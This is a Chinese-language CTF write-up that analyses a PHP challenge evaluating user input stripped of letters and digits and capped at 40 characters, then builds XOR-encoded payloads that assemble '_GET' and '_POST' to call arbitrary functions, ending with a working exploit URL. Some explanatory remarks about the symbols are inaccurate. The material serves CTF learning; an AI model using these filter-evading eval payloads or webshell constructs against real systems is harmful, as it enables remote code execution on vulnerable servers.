无字母数字的语句
PHP脚本
<?php
include "flag.php";
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
代码分析
这里从开始位置依次解释
- <?php //标识;
- include “flag.php”; //包含文件’flag.php’;
- if(isset($_GET[‘code’])){ //首先get提交code的值,并判断这个变量是否已经声明;
- $code = $_GET[‘code’]; //将获取到的值,赋值给code变量;
- if(strlen($code)>40){ //判断code的长度;
- die(“Long.”); //等同于exit(),并打印Long;
- if(preg_match("/[A-Za-z0-9]+/",$code)){ //正则匹配字母数字;
- @eval($code); //执行变量。
- highlight_file(FILE); //对文件进行语法高亮显示 。
- //$hint = “php function getFlag() to get flag”; //提示信息
- ?> //php结束标志。
构造语句
通过之前的代码分析,可以得知 :
想要获取到flag就必须使得变量code的值 满足【不出现字母数字】且【长度不超过40】。
但是这样就不知道如何去构造shell语句了。
查阅资料学习知识点
- 【不出现字母数字】
之前构造语句不成,开始查阅如何构造不出现数字字母的语句,最后
发现通过亦或语句可以解决这个问题
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
- 【长度不超过40】
那么问题来了像这样构造语句的话,铁定超过40.
首先我们得知道_GET由什么异或而来的,经过我的尝试与分析,我得出了下面的结论:
<?php
echo "`{{{"^"?<>/";//_GET
?>
• ? 代表匹配一个字符
• ` 表示执行命令
• " 对特殊字符串进行解析
如何获取呢?咱们可以构造出如下字串:
<?php
echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__])
?>
根据前面构造的来看,$_已经变成了_GET。
顺理成章的来讲,$_ = _GET这个字符串。
我们构建$_GET[ __ ]是为了要获取参数值
<?php
echo $_=getFlag;//getFlag
?>
最终构造
最终是要读取到那个getFlag函数,我们需要构造一个_GET来去读取这个函数,我们最终构造了如下字符串:
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag